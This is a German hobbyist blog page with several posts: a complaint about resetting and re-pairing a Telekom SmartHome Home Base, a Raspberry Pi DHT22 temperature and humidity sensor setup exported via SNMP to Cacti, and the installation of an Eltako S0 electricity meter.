Klasse, die Home Base ist die und meine komplette Konfiguration (hatte ich nicht mit gerechnet) oh und öhm alle Geräte? Das wird übel…. Die neue Home Base möchte nun also mit den alten Geräten sprechen „die ich ja eigentlich gelöscht habe“ diese Geräte verstehen nun die neue Homebase nicht. Denn die Geräte hatten sich ja mit der alten Home Base auf einen Schlüssel geeinigt. Als Ergebnis bewegt sich nun tonnenweise Datenmüll über die Luft zwischen den ganzen Geräten und der neuen Home Base hin und her. Dieses sorgt nun dafür, das mein internes Funkmodul alle paar Sekunden überlastet ist. Klar, einfach alle Geräte noch mal löschen und fertig. Leider scheint man dieses Funkmodul zum Löschen zu benötigen. Also habe ich immer ein paar Sekunden um Geräte zu löschen, bis das Funkmodul abkackt und sich nur durch einen !!!15 MINUTEN… Echt jetzt 15 fucking Minuten!!! Reboot wieder zum Arbeiten überreden lässt. Was genau macht die Home Base beim Reboot? Nur mal schnell auf einem Core checken ob die ersten 100 Nachkommastellen von π noch immer das gleiche Ergebnis liefern? Ich brauche also knapp 1,5h um die ganzen Geräte zu löschen.

Alle Geräte gelöscht und die Home Base bleibt an \o/ ich meine an dem Punkt schon mal gewesen zu sein 😛

Nun verbinde ich also alle Geräte wieder mit meiner neuen Home Base 2.0 was mich auch knapp 1,5h kostet, da das eine oder andere Endgerät jetzt dann auch noch mal einen Fullreset haben möchte um funktionieren. Nur fair wenn sich das schon die Home Base raus nehmen kann, oder?

Im Anschluss noch 20 Minuten damit verbringen das Heizungsprofil zu aktualisieren und den Rolladensteuerungen mit der Stopuhr vermitteln wie lange es denn wohl dauert bis die einzelnen Rolladen brauchen um oben-/unten zu sein.

Nun habe ich also die alte Home Base hier auf dem Tisch und werde sie gleich aufschrauben. Ich rechne aber mit keiner besonderen Überraschung, jemand von euch?

Telekom SmartHome im Test: Erfahrungen mit QIVICON und Home Base​

Das Zeug funktioniert ja zu 85% super… Aber hin und wieder könnte ich das Zeug einfach aus dem Haus treten :-/

Es ist ein Problem aufgetreten (500)

Die gewünschte Seite ist zurzeit nicht erreichbar.

Laden Sie die Seite zunächst bitte neu. Erhalten Sie wiederholt diese Meldung, versuchen Sie es zu einem späteren Zeitpunkt wieder, da evtl. Wartungsarbeiten durchgeführt werden.

Im Falle einer Meldung an den QIVICON Support stets angeben:
Fehlercode 586b87c131d73:0

Es ist ein Problem aufgetreten (500) Die gewünschte Seite ist zurzeit nicht erreichbar. Laden Sie die Seite zunächst bitte neu. Erhalten Sie wiederholt diese Meldung, versuchen Sie es zu einem späteren Zeitpunkt wieder, da evtl. Wartungsarbeiten durchgeführt werden. Im Falle einer Meldung an den QIVICON Support stets angeben: Fehlercode 586b87c131d73:0
QIVICON Telekom SmartHome Error Fehler

Temperatur und Luftfeuchtigkeit mit DHT22 am Raspberry Pi messen

Meine Wetterstation hat aufgegeben 🙁 OK, wirklich interessant war für mich immer nur Luftfeuchtigkeit und Temperatur draußen. Diese Aufgabe sollte doch von meinem Raspberry Pi erfüllt werden können, oder? Dann hätte ich die Daten zusätzlich direkt in meinem Cacti!

Ich setzte dabei auf den DHT22 / AM2302. Über Amazon war dieser für 2€ schnell bestellt. Ein 4,7kΩ Widerstand hatte ich selbstverständlich noch. Das eigentliche Schaltbild ist nicht weiter der Rede wert, ich habe da ein Bild für euch weiter unten…

Zur Software…

Nötig ist git für wiringPi und lol_dht22

Erstmal eine root Konsole auf dem Raspberry Pi öffnen:

$ sudo /bin/bash

Alle Tools für git installieren:

$ apt-get install git-core

Dann einen clone von wiringPi ziehen und kompilieren:

$ git clone git://git.drogon.net/wiringPi
$ cd wiringPi
$ ./build
$ cd ..

Jetzt noch schnell lol_dht22, dieses Programm liest den eigentlichen Sensor aus.

$ git clone https://github.com/technion/lol_dht22
$ cd lol_dht22
$ ./configure
$ make

Damit sollte sich bereits der Sensor auslesen lassen:

$ ./loldht 7
Raspberry Pi wiringPi DHT22 reader
www.lolware.net
Data not good, skip
Humidity = 73.90 % Temperature = 9.30 *C

Perfekt 😀 Nun benötige ich natürlich nur die beiden Zahlen. Daher habe ich den Code etwas angepasst. So bekomme ich jetzt nur noch die beiden Werte beim Aufruf:

$ /lol_dht22/loldht 7
73.90
9.30

Diese sammle ich nun per Bash-Script über einen Cron-Job ein und lege sie in zwei Files.

$ crontab -l
* * * * * /var/scripts/getsensor.sh

Hier das vom Cron aufgerufene Script:

$ cat /var/scripts/getsensor.sh
#!/bin/bash

/lol_dht22/loldht 7 > /home/pi/both.txt

 
while [ ! -s "/home/pi/both.txt" ]
do
        sleep 5
        /lol_dht22/loldht 7  > /home/pi/both.txt
 
done

sed '2d' /home/pi/both.txt > /home/pi/humid.txt
sed '1d' /home/pi/both.txt > /home/pi/temp.txt

Damit liegen nun immer die aktuellen Werte für Temperatur und Luftfeuchtigkeit in den beiden Textfiles unter /home/pi.

Jetzt sollen diesen Daten natürlich noch per snmp abgerufen werden können, damit ich sie in Cacti einbinden kann. Also zuerst snmp auf dem Raspberry Pi installieren:

$ apt-get install snmp snmpd

Unter „Pass-through“ MIB extension command lege ich nun zwei weitere an, für Temperatur und Luftfeuchtigkeit:

pass .1.3.6.1.2.1.25.1.8.2      /bin/sh         /usr/local/bin/temp
pass .1.3.6.1.2.1.25.1.8.1      /bin/sh         /usr/local/bin/humid

Wird nun per snmp diese OID abgefragt, wird das zugehörige Script ausgeführt:

$ cat /usr/local/bin/temp
#!/bin/bash
echo .1.3.6.1.2.1.25.1.8.2
echo gauge
cat /home/pi/temp.txt
$ cat /usr/local/bin/humid
#!/bin/bash
echo .1.3.6.1.2.1.25.1.8.1
echo gauge
cat /home/pi/humid.txt

Als kleiner Test:

$ snmpget -c public -v1 errorpi .1.3.6.1.2.1.25.1.8.1
iso.3.6.1.2.1.25.1.8.1 = Gauge32: 76

$ snmpget -c public -v1 errorpi .1.3.6.1.2.1.25.1.8.2
iso.3.6.1.2.1.25.1.8.2 = Gauge32: 9

Dieses lässt sich nun im Cacti einbinden und so aufzeichnen. Ok, etwas von hinten durch die Brust ins Auge… Sicher optimiere ich dieses noch 😀

Ach ja,  wer es braucht… Die Template-Exports für Cacti sind hier: cacti-temp.tar.gz


Und wohin mit dem Teil? Diese Frage hat mich etwas beschäftigt. Ich wollte es draußen haben, denn ich brauche ja die Daten von draußen 😀 Dafür muss es geschützt vor Wasser sein. Um die Luftfeuchtigkeit messen zu können darf es denn noch nicht komplett verschlossen sein. Ebenfalls sollte es an einer Stelle hängen, an welcher es nicht zu schlecht aussieht und vor allem, an welcher es nicht zerstört wird.

Ich habe einfach ein Rohr genommen, den Sensor dort mit etwas Silikon „eingeklebt“ und das Rohr an einer Seite mit einem Deckel verschlossen. So sollte kein Wasser an den Sensor laufen können. Angebracht habe ich dieses Rohr an meinem Pfosten der Satellitenschüssel. Dort oben „steht“ die Luft eher selten und es kommt niemand ran. Zusätzlich fällt es dort nicht weiter auf.

Mal abwarten wie es sich dort oben macht. Vielleicht hänge ich es später noch mal um! Sobald sich die eigentliche Position gefestigt hat, wird dann auch der Raspberry PI ordentlich verstaut ;-P


Strom mit dem Raspberry Pi und dem Eltako DSZ12E-3x80A. Aber bitte mit Cacti Graphen.

In meinem Keller werkelt noch einer von den ganz alten Stromzählern mit Scheibe 🙂 Dieser zählt zwar ganz brav für meinen Stormversorger den Stromverbrauch in meinem Haus, hat aber leider keine Möglichkeit mir das Gezählte digital zur Verfügung zu stellen. Jetzt würde mich dieses aber interessieren. Denn ich könnte mir so einige Auswertungen im Cacti vorstellen 😉

Es musste also ein neuer Stromzähler her am besten direkt mit S0 Ausgang. Also habe ich bei meinem Energieversorger angerufen und gefragt, was da geht. Der Mensch am anderen Ende machte zuerst einige komische Geräusche um im Anschluss mit Zahlen um sich zu werfen, bei denen selbst mir die Ohren schlackerten. Die Lösung viel also raus… Also selbst einen Stromzähler kaufen, nur welchen? Ich habe mich für den Eltako DSZ12E-3x80A entschieden und ihn direkt bei http://www.elektro4000.de bestellt (klappt bei den Leuten wunderbar). Er lag bei ca. 75€, was schon eine ganz andere Hausnummer ist, als was mein Energieversorger da vom Stapel gelassen hat.

3 x 80A sollte für den normalen Hausgebrauch locker reichen 🙂 Dieser Zähler darf/kann natürlich den Zähler meines Energieversorgers nicht ersetzten. Er muss also hinter dem offiziellen Zähler eingebaut werden. Dieses darf und sollte nicht jeder machen. Wenn du nicht weißt ob du es darfst, darfst du es auch nicht! Ein Elektriker benötigt dafür ca. 0,5 bis 1h. Mit Anfahrt und Stift sollte sich der Einbau (unabhängig vom Gerät) so um die 100 – 150€ belaufen.

Ich musste für meinen Einbau den Neozed-Sicherungssockel etwas versetzen um Platz zu schaffen. Was soll ich sage? Das Teil war noch aus Keramik und zerbröselte schon beim Anschauen. Sah etwas so aus, als wenn der „Einbauende“ die Leitungen am Sockel gebogen hat :-/ Für mich war also noch ein neuer Sicherungssockel mit allen Einzelteilen nötig. Zugegeben in dem Zuge habe ich kurz über einen Laststrennschalter nachgedacht, nur SO oft fummel ich ja nicht rum.

Lange Rede kurzer Sinn, verbaut ist das Teil schnell und einfach gewesen. Verheiratet mir dem Raspberry ist er auch recht flott, da ich auf folgendes zurückgreifen konnte: http://blog.webernetz.net/2014/10/13/stromzahler-mit-s0-schnittstelle-vom-raspberry-pi-auswerten/

So blieb etwas mehr Zeit am Cati zu pfeilen und noch ein paar mehr SNMP Abfragen zu erstellen, welche mir den Tagesgesamtverbrauch, Wochenverbrauch usw. liefern. Cacti soll ja nicht rechnen müssen 🙂

So long…

« Ältere Beiträge

© 2026 -=Kernel-Error=-RSS

Theme von Anders NorénHoch ↑